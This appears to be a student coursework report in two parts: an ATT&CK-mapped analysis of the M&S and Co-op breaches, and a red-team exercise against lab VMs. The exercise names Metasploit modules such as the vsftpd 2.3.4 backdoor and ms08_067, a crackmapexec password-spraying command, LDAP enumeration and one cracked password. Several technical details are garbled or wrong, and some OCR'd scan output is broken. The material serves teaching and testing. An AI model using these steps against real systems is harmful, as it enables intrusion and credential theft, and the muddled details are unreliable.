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[bookmark: _Toc227757372]Executive Brief
The simulated Red Team exercises on the ABCD Ldt clearly show that the existing security defences are very weak against the modern cybersecurity threats and adversary tactics. The main business risks are basically the severe data loss and the operational downtime which has been found in this exercise. This can significantly help the attackers to move laterally in the network system for the public-facing web servers to the internal domains controller with little detection, respectively. This also increases the risk of the Living-off-the -Land techniques here, the legitimate systems tools to hide the malicious activities. 
The organisation must have to implement the Zero Truist Architecture and also applies some strict rules like network segmentation to reduce the blast radius of any cyber-attack in the network system. It can also implement the phishing-resistant Multi-Factor Authentication which is very important to stop any kind of the unauthorised access. In order to fix current gaps, it is very important to improve the detection capabilities with the help of the telemetry collection and updates to the Endpoints Detection and Response configuration. These are some of the key investments which need to be focused by the organisation in order to reduce the future cyber risks and also strengthen the defences of the organisation.  
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[bookmark: _Toc228098458]Task 1: Strategic Threat Analysis - From Headlines to TTPs: A Strategic Analysis
[bookmark: _Toc228098459]1. Abstract 
This report here clearly represents a simple analysis of the cyber-attack, which clearly targets the Marks and Spencer and Co-operative Group in the United Kingdom, respectively. The study also shows that the threat actor motivations, detection and response effectiveness, and then it finds several security gaps. It scrutinises the incident timeline, adversary tactics, techniques and procedures which are clearly mapped to the MITRE ATT&CK framework, respectively. This also helps to understand the main issues which are related to technical, detection and response effectiveness and also analyses the security gaps as well.
[bookmark: _Toc227753133][bookmark: _Toc228098460]2. Introduction
The report, which will be designed here, clearly analyses the cyber-attack campaigns which mainly involve Mark & Spencer and Co-operative Group, which are reported here as part of coordinated threat activity, respectively. Several modern cybersecurity landscapes are increasingly shaped by highly sophisticated adversaries which carries out targeted attacks to the large retail organisations. This often uses multi-stage intrusion techniques to gain some financial or operational disruptions, respectively. Apart from this, it also analyses the incident timeline, adversary tactics, techniques, as well as procedures using the MITRE ATT&CK framework, respectively [1]. The main aim is to create the structures understanding of how the attack is done and also identify several vulnerabilities which can be further exploited. It also determines the effectiveness of detection and response mechanisms, respectively. Findings are also supported by current research, industry reports and cybersecurity frameworks, which can ensure that a comprehensive and evidence-based evaluation of the incident. 
[bookmark: _Toc227753134][bookmark: _Toc228098461]3. Incident Overview and Timeline
[bookmark: _Toc227753135][bookmark: _Toc228098462]3.1 Incident Summary 
The cyber incident which has been occurred in Mark & Spencer and Co-operative Group has done serious disruption to the UK retail operations, respectively. In the analysis of this incident, it has been found that the incidents are part for the campaign targeting the retail stores and their operations, respectively. According to the several reports, it has been found that the attackers have gained unauthorised access to the internal parts of the system, respectively [2]. This significantly done the operational delays and exposed several sensitive data points. The attackers have used several techniques in this incident which are lateral movement in the network, phishing and exploiting vulnerable services, respectively. This clearly show that how the modern cyber-attacks can exploit technical weakness, human factors and gaps, respectively. 
[bookmark: _Toc227753136][bookmark: _Toc228098463]3.2 Timeline of Events 
The timeline event gives a proper structured review of how the cyber-attack on Marks & Spencer and Co-operative Group unfolded, respectively. It also shows that the progression of the attack from initial access to the final redemption clearly helps to understand the attacker’s behaviour and also the organisational responses, respectively. 
[image: What is Cyber Kill Chain? - zenarmor.com]
Figure 1: Stages of Cyber Kill Chain
(Source: [3])
· [bookmark: _GoBack]It is very important that after analysing the issues, the actions must be taken to control and also reduces the damage. This mainly includes isolating affected systems, assessing the scope of the breach and starting the recovery, respectively. After this the incident must be disclosed to the public, and also try to work on recovery as soon as possible. 
· As the attack progressed and the adversary executed activities such the unauthorised data access and potential data exfiltration, and systemic disruption. Furthermore, the incident was ultimately identified through either internal security detection systems or external notification channels, thereby initiating the response phase. In numerous instances and these actions may persist covertly over an extended duration due to inadequate monitoring or insufficient logging mechanisms [4].
· Here the attacks start in the initial access phase by using several techniques like phishing or exploitations of several vulnerable systems, respectively. After this, the attacks move to the lateral movement into the network, and then the attackers gain unauthorised access to the system [5]. In this stage he attackrs often go undetected and exploit the weaknesses.   
· This clearly show that the delay in the detection as well as the response have increased the impact of the attack on the organisations. Respectively. This clearly shows the importance of proactive monitoring and a rapid incident response strategy is required, respectively [6]. 
[bookmark: _Toc227753137][bookmark: _Toc228098464]4. Adversary TTP Mapping 
The attacks which are done in these organisations are mainly done by the group named Scattered Spider group. This group has basically used a DragonForce ransomware, which clearly show a modern multi-stage intrusion campaign. This group has used social engineering, credential misuse and also ransomware deployment, respectively [7]. Here in this section, the MITRE ATT&CK framework is used to clearly show how the cyber-attacks have happened in these organisations, respectively. 
[image: Cyber Kill Chain® | Lockheed Martin]
Figure 2: Attack Chain Mapping
(Source: [8])

[image: ]
Figure 3: MITRE ATT&CK Framework
(Source: [9])
The above diagrams clearly show the sequential progression of the attack and the relations with the MITRE tactics, respectively.
[bookmark: _Toc227753138][bookmark: _Toc228098465]4.1 Attack Chain Mapping
The attacks on these organisations are done by the Scattered Spider which uses phishing, SIM-Swapping and also MFA fatigue attacks which gain unauthorised access, respectively [10]. Several pieces of evidence show that the attackers pretended to be employees and tricked IT help desk staff into resetting passwords, allowing them to successfully bypasses authentication controls, respectively. The attackers used real stolen login details (T1078) to enter internal systems without setting off any alerts. The attack started with the initial access where they used social engineering and phishing methods (T1566) to trick users and gain entry.
Research shows that attackers often mix credential harvesting with session hijacking techniques to keep continuous access [11]. The growing use of legitimate administrative tools also shows the shift Living-Off-the-Land strategies and are widely recorded in recent cybersecurity literature as a salient method of avoiding endpoint detection systems. Proof of session hijacking is limited in this case; the continued access seen suggests that similar identity persistence mechanisms may have been used along with Valid Accounts (T1078).
[bookmark: _Toc227753139][bookmark: _Toc228098466]4.2 Privilege Escalation, Lateral Movement and Impact
The attackers are moving the stolen passwords and username in the network by using the remote access tools “T1021”, respectively. The attacks have finally over when the data has been successfully sent out with the help of the command-and -control channels “T1041”, respectively.  This significantly make the attacks spread all over the network without being noticed quickly. The DragonForce ransomware has blocked the system and also interrupted the daily business activities, respectively. The attackers have significantly increased their presence in the system because they have stayed longer period of the time using the Exploitation of Privilege Escalation “T1068”. These mainly includes hiding their activities which clearly avoids detection and also uses the normal built-in system tools, respectively. These methods are very sophisticated and can easily bypass several traditional security systems and monitoring tools that can detect and respond to malicious behaviour, respectively. The attackers have also used the evasion techniques “T1027” to stay hidden.  

	Tactic
	Technique
	ATT&CK ID
	Evidence-based Justification

	Initial Access
	Phishing / social Engineering
	T1566
	Help desk impersonation enabled credential reset

	Initial Access
	Valid Accounts
	T1078
	Use of stolen credentials to access systems undetected

	Execution
	Command & Scripting Interpreter
	T1059
	PowerShell used for malicious execution (Yulianto et al., 2025).

	Persistence
	Account Manipulation
	T1098
	Accounts modified to maintain long-term access

	Privilege Escalation
	Exploitation for Privilege Escalation
	T1068
	Privileges elevated after initial compromise

	Credential Access
	Credential Dumping
	T1003
	Active Directory credentials extracted

	Discovery
	Network Service Scanning
	T1046
	Internal systems scanned to identify targets

	Lateral Movement
	Remote Services
	T1021
	Movement across systems using valid credentials

	Defence Evasion
	Obfuscated Files or Information
	T1027
	Use of stealth techniques to avoid detection

	Exfiltration
	Exfiltration over C2 Channel
	T1041
	Data theft and ransomware deployment



Table 2: Attack Chain Phase Mapping: 
	Attack Phase
	Description
	Associated TTPs

	Initial Access
	Social engineering and credential compromise
	T1566, T1078

	Execution
	Malicious script execution
	T1059

	Persistence
	Maintaining access
	T1098

	Privilege Escalation
	Gaming admin-level access
	T1068, T1003

	Discovery
	Network reconnaissance
	T1046

	Lateral Movement
	Spreading across systems
	T1021

	Defence Evasion
	Avoiding detection
	T1027

	Exfiltration & Impact
	Data theft and ransomware
	T1041



[bookmark: _Toc227753140][bookmark: _Toc228098467]5. Root Cause and Security Control Failure 
[bookmark: _Toc227753141][bookmark: _Toc228098468]5.1 Technical Failure
The main issues were here is that the implementation of identity and access management controls is very poor and also lacks several uses of the multifactor authentication, respectively. This incident clearly show the adhere are several serious technical weaknesses that help the attacks tore enter the system easily and operate in the network environment, respectively. 
This allowed attackers to use compromised credentials without any extra verification [12]. Apart from this the poor network segmentation let attackers move laterally across systems without facing significant barriers, thereby causing a deleterious impact on the overall breach level. The use of the legacy systems and possible unpatched vulnerabilities can also increase the risk of attacks, respectively. This will significantly make the exploitation much easier.
[bookmark: _Toc227753142][bookmark: _Toc228098469]5.2 Organisational Failure
After the analysis it has been found that there were a lack of a regular and systematic audits which can details the risk assessment, respectively. Apart from this, the incident response planning is very weak and also not properly implemented in these organisations, respectively. There was also a lack of the cybersecurity governance framework and also a very weak enforcement of then security policies [13]. This can significantly create a vulnerability and can be easily exploited by the attackers, respectively. Apart from this, it has also been found that there was a very limited implementation of smart detection system like SIEM and EDR solutions because these systems are very important to identify the complex attacks, respectively. There are also very poor communication gaps between the IT and security teams, which can affect the response process and also create a huge dilemma in these types of critical moments. The organisation problems play an important role in the success of the attack. 
[bookmark: _Toc227753143][bookmark: _Toc228098470]5.3 Human Factor 
It is very important to understand that the human factor is also one of the key factors in the incident because in the initial phases of attacks, several humans have made several mistakes, respectively.  
· Low awareness of phishing and impersonation attacks
· Too much trust-based processes in IT support functions
· Failure to properly identify any suspicious behaviour or unusual requests.
· Insufficient training on verifying identity before resetting credentials.
· These weaknesses show importance of ongoing security awareness training and stricter verification procedures to reduce the risk of human-related vulnerabilities here.
[bookmark: _Toc227753144][bookmark: _Toc228098471]6. Threats Actors Profile and Motive
There is a threat group whose name is Scattered Spider, and this group is responsible for the cyber incidents which has happened in Mark & Spencer and the Co-operative Group, respectively [14]. This group is basically a financially based cybercriminal collective, respectively. Their actions are basically linked with the ransomware-as-a-service models which are DragonForce and this allows a scalable and coordinated attack, respectively. This group often targets large organisations that are mainly linked with the telecommunications sectors, respectively.
The Scattered Spiders have highly skilled hackers who are trained to bypass several traditional security systems using identity-based attacks, respectively. The main motive of this group which has done the attack is for the financial gains which is achieved through the data exfiltration and also a ransomware deployment, respectively. This group mainly focuses on exploiting human weaknesses and organisation, respectively. 
	Attribute
	Details

	Type
	Cybercriminal groups

	Common Techniques
	Phishing, credential abuse, and lateral movement

	Target Sector
	Retail, telecommunication

	Motivation
	Financial gains like data theft

	Capability Levels
	Advanced because they use social engineering and TTPs

	Associated Malware
	DragonForce ransomware

	Threat Actor
	Scattered Spider



This attack clearly show that it was very well-organised and a profit-based motive and it use the technical and human vulnerabilities, respectively.  
[bookmark: _Toc227753145][bookmark: _Toc228098472]7. Detection and Response Analysis 
One of the main problems was low visibility of identity-based attacks. Lack of behavioural analytics further caused the inability to detect anomalies in user actions, a paradigm issue overall, respectively [15]. Because attackers used valid credentials, common security tools found it hard to tell malicious behaviour from normal user activity. Poor logging and monitoring of privileged accounts lowered chances of early detection. 
It has been analysed that the detection and response to the M&S and Co-op cyber incident clearly show that there are several gaps in technical monitoring and organisational preparedness, respectively. This clearly shows some of the latent weaknesses in real-time monitoring and also a lack of the co-relations between security events, respectively [16]. There are some suspicious activities are also identified when the attackers are able to operate inside the network for more time before it is detected, respectively. 
There are some gaps which are:
· Failure to detect unusual help desk activities
· Absence of a real-time threat intelligence integration
· Inadequate logging of authentication and access events. 
· No proper advanced monitoring tool like SIEM and UEBA
When there is a delay in response then it will give time to the attackers to move laterally [17]. There were also several gaps in the communication between the teams and it was not well coordinated which clearly showed some lack on mitigation effort, respectively. 
[bookmark: _Toc227753146][bookmark: _Toc228098473]8. Strategic Recommendations 
[bookmark: _Toc227753147][bookmark: _Toc228098474]8.1 Prevention
To prevent these types of similar attacks, the organisations have to fortify identity as well as the access management controls. It is very important to do regular patch management and also the vulnerability assessment, which will significantly help to reduce attacks, respectively. Using phishing-resistant multi-factor authentication in all systems is very important, which will significantly reduce the credential-based attacks, respectively [19]. Network segmentation will also be applied to limit lateral movement, which will help to prevent attackers from reaching the critical systems, respectively. Apart from this, the Zero Trust Architecture can also be used to verify the user from various levels, respectively. 
[bookmark: _Toc227753148][bookmark: _Toc228098475]8.2 Detection 
The organisations must implement monitoring, logging and checking of the security systems by implementing better detection systems, respectively. There are several Real-time threat intelligence integrations that can help to spot known attack indicators early, respectively [20]. Continuous monitoring of privileged accounts and also the authentication logs can be analysed to identify any kind of suspicious behaviours, respectively.
	SIEM System
	Purpose
	Priority

	SIEM System
	Centralised log analysis
	High

	Threat Intelligence
	Identify known threats
	Medium

	Log Monitoring
	Track system, activities
	High

	UEBA
	Detect abnormal user behaviour
	High



[bookmark: _Toc227753149][bookmark: _Toc228098476]8.3 Response
It is very important to have clear communication channels between the IT, security and also the management teams which are very essential for the smooth coordination, respectively [21]. Apart from this, the successful plan must be created after this incident was oven and a review should be carried out to clearly understand what the weaknesses were and what needs to be improved, respectively. A proactive and strictures response strategy is very important for reducing the operational disruptions [22]. It also helps in reducing and controlling the overall impact of the cyber attacks in the systems, respectively. A good response framework must focuses on the fast containment and also a well-coordinated actions in a clear and organised way, respectively.   
[bookmark: _Toc227753150][bookmark: _Toc228098477]9. Conclusion
There are several outcomes which clearly show that the old security methods are no longer relevant to use because they often fail to protect against the identity based or stealth-based attacks, respectively. The main significance of the user awareness, robust identity management and continuous monitoring, respectively. Linking the incident to the MITRE ATT&CK framework gave an understanding of the adversary’s tactics, techniques, and procedures, while also exposing critical weaknesses in technical controls, organisational practices, and human awareness. The attack showed a clear step-by-step movement across the attack chain, using social engineering, credential abuse, and lateral movement to reach its goals. The organisation must have to use more proactive and layered security approaches that significantly combines the strong and preventive controls, respectively. Apart from this, the study of the cyber incidents impacting Marks & Spencer and the Co-operative Group shows the rising multifaceted of modern cyber threats, especially those caused by financially motivated threat actors. 


[bookmark: _Toc228098478]Task 2: Red Team Engagement: ABCD Ltd — Complete Penetration Testing
[bookmark: _Toc227757373][bookmark: _Toc228098479]1. Introduction 
This report here clearly determines a controlled red team engagement that is done in the virtual lab environment, respectively. This is done for ABCD Ltd to evaluate its security posture of the organisation. Here in this project, a simulation of realistic cyber-attacks was done against several key systems, which mainly include the web-server, client machine and Active Directory domain controller, respectively [23]. A structured methodology is successfully used here covering reconnaissance, initial access, privilege escalation, lateral movement and data access, respectively. Here the virtual setup which is designed here clearly tells several details and helps to gain several knowledge, respectively. This report also shows several detection gaps and also provides recommendations to strengthen its defensive capabilities and also enhance the overall organisational security resilience against the new cyber-attacks [24]. The main thing that is done here is following ethical hacking principles and adhering to predefined rules of engagement for safety and authorised testing, respectively. 
[bookmark: _Toc227757374][bookmark: _Toc228098480]2. Rule of Engagement 
The Rule of Engagement clearly explains the scope of the limits for authorisation, and it also show that how the red team assessment in the ABCD Ltd virtual lab environment, respectively. Tese rules significantly ensures that the assessment remain fully controlled and ethical and also aligns with the professional penetration testing standards, respectively. The engagement is restricted in the scope system and this mainly includes the web-server, client machine and Active Directory domain controllers, respectively. Apart from this there is a clearr5t table which is made in then Appendix which shows the scope, allowed and restricted activities, safety measures, communication protocols, and also recovery procedures, respectively [24]. This structured limitation of scope ensures methodological rigour and prevents any deviation from predefined ethical and technical boundaries. There are also several snapshots are provided here to maintain the operational safety, respectively. 
There are several activities which mainly include reconnaissance, vulnerability assessment, controlled exploitation, privilege escalation as well as the lateral movement, respectively [25]. Apart from this, there are several harmful methods which are not used here for testing like data corruption, denial-of-service attacks and ransomware attacks, respectively. 
[bookmark: _Toc227757375][bookmark: _Toc228098481]3. Threat Emulation Plan 
[bookmark: _Toc227757376][bookmark: _Toc228098482]3.1 Objectives and Success Criteria
There are several evidences which must be collected to confirm that each step has been successfully completed and these evidences will basically have session access, screenshots, extracted data and the command output, respectively. This also show that how the attackers avoid any kind of detection and take control over the system for a longer period of time. In this time the attackers will do several activities like accessing credentials, accessing sensitive files, move laterally to another system in the network and also take advantages of the weak systems, respectively. The main purpose of creating the threat emulation plan is to exactly cop each and every scenario of a real-cyber-attacks situations inside the ABCD Ltd virtual lab environment, respectively [26]. The main activity here is to clearly show the full attack lifecycle which starts from the external reconnaissance, and then it moves step by step slowly towards the sophisticated systems. This can also compromise the internal data and these types of attacks must be carried out in controlled manner without affecting any kind cos system availability, respectively [27]. 
[bookmark: _Toc227757377][bookmark: _Toc228098483]3.2 Attack Phase and MITRE ATT&CK Mapping
	Attack Phase
	Description
	MITRE ATT&CK TTP

	Initial Access
	Exploit a vulnerable web application or services
	T1190 – Exploit Public-Facing Application

	Privilege Escalation
	Gain higher-level permissions using vulnerabilities
	T1068 – Exploitation for Privilege Escalation

	Execution
	Run malicious commands or payloads on affected systems
	T1059 – Command and scripting

	Reconnaissance 
	Identify targets, services and vulnerabilities through scanning
	T1595 – Active Scanning

	Credential Access
	Extract stored or memory credentials
	T1003 – OS Credential Dumping

	Collection
	Gather sensitive data from affected systems (Abo El Rob et al., 2024). 
	T1005 – Data from Local Systems

	Exfilteration
	Transfer the collected data the network
	T1041 – Exfiltration Over C2 Channel

	Lateral Movement
	Move across systems using valid accounts or remote services
	T1021 – Remote Services

	Persistence
	Maintain access using backdoors or schedule tasks
	T1053 – Scheduled Task

	Resource Development
	Prepare tools or payloads required for exploitation
	T1587 – Develop Capabilities



[bookmark: _Toc227757378][bookmark: _Toc228098484]4. Lab Environment 
[image: ]
This diagram is basically a network diagram that is drawn here to clearly demonstrate the controlled virtual lab built in VMware Workstation, which mainly uses a NAT-based virtual switch, respectively. As per this diagram, there are mainly 3 machines which are connected, which are mainly Window Server domain controller, a Linux web hosting and a Windows client, respectively. Here, each of the systems is assigned with the static IP address in the same subnet ranges. According to this diagram the system which is created here is very sophisticated and clearly meet the requirement, respectively. 
[bookmark: _Toc227757379][bookmark: _Toc228098485]4.1 VM Configuration
[bookmark: _Toc227757380]4.1.1 VM-1 – Windows Server
[image: ]
[image: ]
The above images clearly determine the first step and active management of the VM-1. In the first image there is a Window Server 2019 installation which is shown [28]. The second image shows the Manager Dashboard, which means the environment is ready for the Active Directory configurations. 
[image: ]
Here it successfully shows that the network setup of the VM-1 network is installed, respectively. The initial images clearly shows that a static IPv4 address which is basically 192.168.62.131 is used by the ipconfig. 
[image: ]

[image: ]
[image: ]
Thes images show the final promotion phase of the VM-1 to a Domain Controller.  The first picture shows the Add Roles and Features Wizard selecting the local server for Active Directory integration is successful [29]. The deployment of the new forest is designated as ABCD.local. Then another image shows a successful installation of the DNS Server role and global catalogue which establishes the foundational identity infrastructure needed for ABCD Ltd, respectively. 

[image: ]
This clearly shows that there is an Active Directory as well as the Computer console, and this also confirms the ABCD.local domain structure which is created here, respectively [30].
[image: ]
This above image clearly shows that there are several users, groups and organisational units are successfully configured and created here. 
[bookmark: _Toc227757381]4.1.2 VM-2 – Linux Server
[image: ]
This choice that here a complete setup of the VM-1 linusx has been successfully completed which is a Linux-based web-server. However, it also shows that the Ubuntu 22.04.3LTS is also successfully setup and is currently operating and also provides a needed platform which will host the vulnerable application. 
[image: ]
The image shows the network setup for VM-2 using ifconfig. The ens33 interface has the static IP address 192.168.62.129 and which helps maintain connectivity for the hosted vulnerable application inside the simulated ABCD Ltd hybrid corporate network environment.
[bookmark: _Toc227757382]4.1.3 VM-3 Windows Client
[image: ]
This show that there is a final installations steps was performed here and it clearly show that the files, features and also updates are properly installed here. The screenshot clearly shows that this is an automatic setup of a windows 10 in Virtual Machine in the VMware Workstation, respectively. 
[image: ]
The screenshot shows the successfully completed installation of a Windows 10 x64 virtual machine within VMware Workstation.
[bookmark: _Toc227757383][bookmark: _Toc228098486]5. Exploitation Requirements 
[bookmark: _Toc227757384][bookmark: _Toc228098487]5.1 Exploit A- Remote code execution against the web application on VM‑2
[image: ]
[image: ]
[image: ]
It clearly shows that the is a exploitations has bees started here successfully and the first image confirms that the Nmap output with a proper screenshot, respectively (Singh et al., 2024). The second image show a aggressive service scan done by “-sV” on the IP 192168.62.129. It also shows that there are many ports which are open like Telnet, SMTP, DNS, HTTP. It also runs Apache, respectively.
[image: ]
It tells us that there is a console which clearly show that 2623 exploits and also 1326 auxiliary modules are ready for the VM-2 REC attacks. The user can properly start the Metasploit Framework on the Kali for the exploitation. 
[image: ]
[image: ]
The user here identifies the vftpd_234_backdoor. This is the payload which is set on the port 4444. With the help of the “metermeter_reverse_tcp” there are various items which are running as RHOST and PORT 21 settings, respectively. 
[image: ]
[image: ]
The above image clearly shows several results like the system accounts which have the root, daemon, bin and also the sys. This gave the full system read access remotely. The image show that the Ls command is used and this helps to get a successful root-level directly access on the VM 2. There is one another imager which show that the command has successfully extracts all the target passwords with the help of the Meterpreter. 

[bookmark: _Toc227757385][bookmark: _Toc228098488]5.2 Exploit B – Privilege escalation or lateral movement inside the Windows domain (VM - 1)
[image: ]
The nmap scan of 192.168.62.131 reveals an Active Directory Domain Controller for abcd.local with open ports including 88, 389, and 445. 
[image: ]
This image show that the enum4linux scan of 192.168.62.131 confirms the ABCD domain, retrieving the SID S-1-5-21-1074268895-3080266123-4058681963 and identifying active null session support.
LDAP enumeration- 

[image: ]
The above image shows the entire configuration of the domain like minimum password length, max password length, objectClass and so many other things. These informations are highly relevant. 
[image: ]
These above images says that the LDAP search results for 192.168.62.131 detail the DC=abcd, DC=local naming context, exposing critical domain attributes like minPwdLength: 7 (Meghana et al., 2024). Further enumeration reveals the Guest account and Domain Computers group, alongside the objectSid and FSMO role holder WIN-GINH86PR9QP for the simulated network.

[image: ]
This image clearly tells that all the details of the groups are also exposed like “Executive” group. There are several members of this group whose information are also revealed, like names and also there are several information about the marketing group as well. This all information has come out after the successful LADP scans. 
[image: ]
The above images can clearly show that there is a LADP search tools is used. This tool is used to scan the Active Directory on the IP address “192.168.62.131”. It also show that there is a domain object which has the guest account “RID 501” and also gives the objetSid.  
[image: ]
Here, all those users whose passwords are unknown, those users are stored in a single file. 

Extract password from description-
[image: ]
The above image clearly shows that when any new users are created, then along with this, their password is also revealed. This happens because the system where new users are generated is vulnerable, respectively. 
Find service accounts-
[image: ]
This above image show that when the service account is scanned there there are several usernames like Brenn Brittany, Aubree Roanne and so many more which are recovered successfully. 
Cracking password-  
[image: ]
Here a command is successfully used here which will perform this password spraying and also the enumerations, respectively. It used the crackmapexec smb 192.168.62.131 “-u users.txt -p password.txt”, respectively. This image show th eusuage of the crackmapex which focuses on SMB at 092.168.62.131 and also helps to successfully logging into the domain accounts, respectively. 

[image: ]

[image: ]
The above images reveals that the there are several passwords has been recovered, like the username “miof” the password recovered is “;150_OZ”. The second image shows that the operator has got the remote access to this user account. 
[bookmark: _Toc227757386][bookmark: _Toc228098489]5.3 Exploit C: Client‑side or service‑side exploit to access sensitive files on VM‑3.
[image: ]
This image here tells that there is a successful nmmap scan in the -sC -sV 192.168.62.136. After the command the nmap scanning has start and it shows several open ports like 135/tcp or 139/tcp. Here, port 135/tcp will be exploited where the Microsoft Windows RPC service is currently running. This attack is done to extract several sensitive files from this port. 
[image: ]
This image shows that a Metasploit framework is used to perform an attack on the port 135/tcp to steal several sensitive information. 
[image: ]
This shows that the module used in the Metasploit framework is for the attack is the “exploit/windows/snb/ms08_067_netapi”
[image: ]
This image show a successful configuration of the RHOST and target machine IP, respectively. 
[image: ]
Download remote file-
[image: ]
This image clearly shows that all the sensitive data is successfully downloaded after the exploitation. 
[bookmark: _Toc227757387][bookmark: _Toc228098490]6. Operational Execution
[image: ]
This image here clearly shows the successful Operational Execution, which clearly captures the Meterpreter session on a compromised Linux target. This evidentiary screenshot verifies that the successful exploitation provides the necessary technical artefacts for the final report. Here it executes “ls/” which clearly shows the root directory structure and “getuid” confirms the root-level privileges. 
[image: ]
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The above images here shows that the Operational Execution phase, which uses CrackMapExce to perform password spraying against the Windows Server 2019 target. Multiple successful credential matches for the “abcd.local” domain, which provides the necessary lateral movement and privileged access required to fulfil the technical report. 
[image: ]
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The above pictures clearly show that the Operational Test of the penetration test has been done here. It uses the Metasploit’s Auxiliary modules for scanning and SMB enumeration. These steps confirm the active service on the target network, which provides the critical elementary and technical evidence needed. 
[bookmark: _Toc227757388][bookmark: _Toc228098491]7. Tools and Techniques
There is a structured method which provide a clear connection with the help of the standard penetration testing framework. Apart from this it also shows that the attackers can significantly maintain the unauthorised access which weas taken earlier for a long period of time without being noticed and control the entire systems, respectively. There is an Nmap tool which is also used here for the reconnaissance and this significantly helps to identify the active host in the network [31]. This also identifies the open port and also show various services which are currently running in the network. Apart from this the Metasploit is also used here for the primary exploitation tool framework and it perform the controlled attacks on detected vulnerabilities, respectively [32]. There is also a CrackMapExce tools is also used here to effectively check the credential reuse and also supporting the lateral movement in the network. 
	Tool
	Purpose
	Attack Phase

	Nmap
	Network scanning and service discovery
	Reconnanance

	LADP Search
	Active Directory enumeration
	Resonnaiance

	Evel-WinRM
	Remote command execution
	Post-Exploitation

	Metasploit
	Exploit
	Exploitation

	CrackMapExce (SMB)
	Credential testing and lateral movement
	Lateral Movement


[bookmark: _Toc227757389][bookmark: _Toc228098492]8. Containment and Safety
There are several incremental backups and these are always kept in several important stages of the process and this is done to protect the data and this also helps to ensure continuity, respectively. This setup is done to restrict any kind of outbound attacks outside the host environment [33]. There are several snapshots which has significantly helped to make a reliable system, and this significantly helps in recovery in case of any kind of failure [34]. It akso show that how well a lab can be setup, respectively. The lab which is setup here is separate from other external systems which significantly helps to avoid any kind of attacks in those systems. Here a high-end firewall is used here to lower the access level and this implementation is done in the network configurations, respectively [35]. Apart from this, there is a NAT virtual network which is setup here and it does not use any kind of port forwarding. Hence all the virtual machines can communicate only in the internal subnet. 
[bookmark: _Toc227757390][bookmark: _Toc228098493]9. Conclusion 
This project clearly shows that the red team engagement can be done is controlled lab environment. The main aim of this project is to exploit the security weakness for ABCD Pvt. ltd, respectively. The mapping of the activities can significantly help to understand about the working of a real-world cyber-attack. It also helps to show how different techniques can fit into the each and every stage of the attack, respectively. This project significantly helps to gain knowledge about the virtual machine, respectively. This project successfully went through the main stage of the attack lifecycle, which mainly includes reconnaissance, enumeration, exploitation as well as post-exploitation by using several tools that are relevant and industry-based, respectively. This assessment successfully shows the significance of proactive security testing in order to find various types of risks even before they are used in a real environment, respectively. Applying several controls can help them to improve the monitoring systems and the carrying out the regular security assessment is very important. It also helps the organisation to improve the security system.
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This appendix shows some relevant sources which are used to construct the cyber incident timeline for Marn & Spencer and Co-operative Group. 
	Timeline Order
	Incident Phase
	What Happened
	Source
	Year

	01
	Persistence
	Attackers maintained access through valid accounts and credentials misuse
	ENISA Threat Landscape Report
	2024

	02
	Initial Access
	Attackers gained access using phishing or the exploitation of vulnerable services
	ITV News – M&S & Co-Operative report
	2025

	03
	Detection
	Attack identified after unusual system activity or external reporting
	ComputerWeekly- incident coverage
	2025

	04
	Response
	System isolated breach contained, recovery initiated
	UK cyber incident response analysis reports
	2025

	05
	Lateral Movement
	Attackers moved across internal systems using stolen credentials
	CISA Advisory on identity-based attacks
	2024

	06
	Initial Compromises 
	Help desk impersonation used to reset credentials and gain entry
	ComputerWeekly – UK retail cyberattack analysis
	2025

	07
	Data Access
	Sensitive data accessed and potentially exfiltrated
	Reuters cybercrime report on retail attacks
	2025


[bookmark: _Toc227757393]
[bookmark: _Toc228098497]Appendix B: RoE and Threat Emulation Plan
	Section
	Description

	Scope Definition
	In-scope assets: Web Server VM, Client Machine VM, Active Directory Domain Controller VM. Out-of-scope: Host machine, external networks, internet-facing systems. 

	Permitted Activities
	Network scanning, enumeration, vulnerability assessment, controlled exploitation, privilege escalation, and lateral movement within the lab environment.

	Prohibited Activities
	Denial-of-Service attacks, use of destructive malware or ransomware, data deletion or corruption, and attacks on systems outside the defined scope.

	Safety and Control Measures
	Use of VM snapshots before testing, immediate halt in case of system instability, and avoidance of persistent changes beyond the testing session.

	Communication Protocol
	All actions and commands must be recorded, findings should include timestamps, and critical issues must be reported immediately.

	Rollback and Recovery Plan
	Systems can be restored using snapshots, configurations reverted to baseline, and functionality verified after testing.

	Legal and Ethical Compliance
	Testing is fully authorised, limited to the lab environment, and follows ethical hacking standards and academic integrity guidelines.
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# sudo nmap -sC -sV 192.168.62.129
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1 Control connection is plain text

1 Data connections will be plain text

1 VSFTPd 2.3.4 - secure, fast, stable
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| ssl-cert: Subject: commonName=ubuntu804-base.localdomain/organizationName=0C0SA/stateOrProvinceName=There is no such thing outside US/countryName=XX
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|_Not valid after: 2010-04-16T14:07:45
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8009/tcp open ajpl3 Apache Jserv (Protocol v1.3)
|_ajp-methods: Failed to get a valid response for the OPTION request
8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1

|_http-title: Apache Tomcat/5.5

I http-favicon: Apache Tomcat

|_http-server-header: Apache-Coyote/1.1

MAC Address: 00:50:56:23:9A:59 (VMware)

Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; 0Ss: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script result:
|_clock-skew: mean: 1h0om00s, deviation: 2h00mols, median: 0s
| nbstat: NetBIOS name: METASPLOITABLE, NetBIOS user: <unknown>, NetBIOS MAG
| smb2-time: Protocol negotiation failed (SMB2)
I smb-os-discovery:
0S: Unix (Samba 3.0.20-Debian)
Computer name: metasploitable
NetBIOS computer name:
Domain name: localdomain
FQDN: metasploitable.localdomain
System time: 2026-04-18T02:03:46-04:00
smb-security-mod
account_used: guest
authentication_level: user
challenge_response: supported
message_signing: disabled (dangerous, but default)

<unknown> (unknown)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.99 seconds

’:'(ioot‘s kali)-[~]
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ap -SC -sV 192.168.62.129 —p 21
Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-18 02:06 -0400
Nmap scan report for 192.168.62.129

Host is up (0.0015s latency).

PORT _ STATE SERVICE VERSION
open  ftp vsftpd 4
_ftp-anon: Anonymous FTP login allowe
ftp-syst:
STAT

ssion bandwidth limit
Session timeout in s
Control connection is plain text
Data connections will be plain text
vsFTPd re, fast, stable
End of status
C Address
ice Info

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1.55 seconds
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E(root‘skali)—[-]
4 msfconsole
Metasploit tip: Search can apply complex filters such as search cve:2009
type:exploit, see all the filters with help search

